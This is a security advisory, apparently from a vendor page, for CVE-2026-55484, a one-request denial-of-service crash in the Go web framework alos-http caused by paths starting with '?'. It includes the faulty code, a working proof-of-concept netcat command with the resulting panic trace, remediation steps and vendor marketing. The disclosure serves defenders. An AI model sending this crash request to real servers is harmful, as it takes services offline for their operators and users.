CVE-2026-55484

CVE-2026-55484 is a high-severity security vulnerability in github.com/guno1928/alos-http (go), affecting versions < 0.0.0-20260617230736-314b6783e196. It is fixed in 0.0.0-20260617230736-314b6783e196.

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Summary

alos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server

A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process.
The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled

Details

root cause: core/utils.go::sanitizeRequestPath

// assume path := "?"
if len(path) == 0 { // len(path) == 1
	return "/"
}

p, _ := splitPathQuery(path) // p == ""

if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
	return p
}
  • when the path starts with "?" len(path) is not 0 so the early return does not fire
  • after splitPathQuery p is empty ""
  • p is then indexed p[0] without a length check

Relevant calling sites:

  • h1_plain.go:ParseH1RequestHead (HTTP/1.1)
  • h1.go::ParseH1Request (dead code)
  • hpack.go::decodeSimpleGetPathHTTPSRequest (HTTP/2)
  • hpack.go::observeHeader (HTTP/2)
  • h3_conn.go::handleRequestStream (HTTP/3)

these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic

PoC

Minimal server, using the quick-start

srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())

Crash it with a single request

printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080

Server output & crash

2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0

goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
        /home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69
created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a
exit status 2

all subsequent requests now fail, since the server is down

Impact

Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request.
Repeating this process keeps the service offline.
There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)

CVE-2026-55484 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260617230736-314b6783e196); upgrading removes the vulnerable code path.

Affected versions

github.com/guno1928/alos-http (< 0.0.0-20260617230736-314b6783e196)

Security releases

github.com/guno1928/alos-http → 0.0.0-20260617230736-314b6783e196 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade github.com/guno1928/alos-http to 0.0.0-20260617230736-314b6783e196 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-55484? CVE-2026-55484 is a high-severity security vulnerability in github.com/guno1928/alos-http (go), affecting versions < 0.0.0-20260617230736-314b6783e196. It is fixed in 0.0.0-20260617230736-314b6783e196.
  2. How severe is CVE-2026-55484? CVE-2026-55484 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/guno1928/alos-http are affected by CVE-2026-55484? github.com/guno1928/alos-http (go) versions < 0.0.0-20260617230736-314b6783e196 is affected.
  4. Is there a fix for CVE-2026-55484? Yes. CVE-2026-55484 is fixed in 0.0.0-20260617230736-314b6783e196. Upgrade to this version or later.
  5. Is CVE-2026-55484 exploitable, and should I be worried? Whether CVE-2026-55484 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-55484 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-55484? Upgrade github.com/guno1928/alos-http to 0.0.0-20260617230736-314b6783e196 or later.

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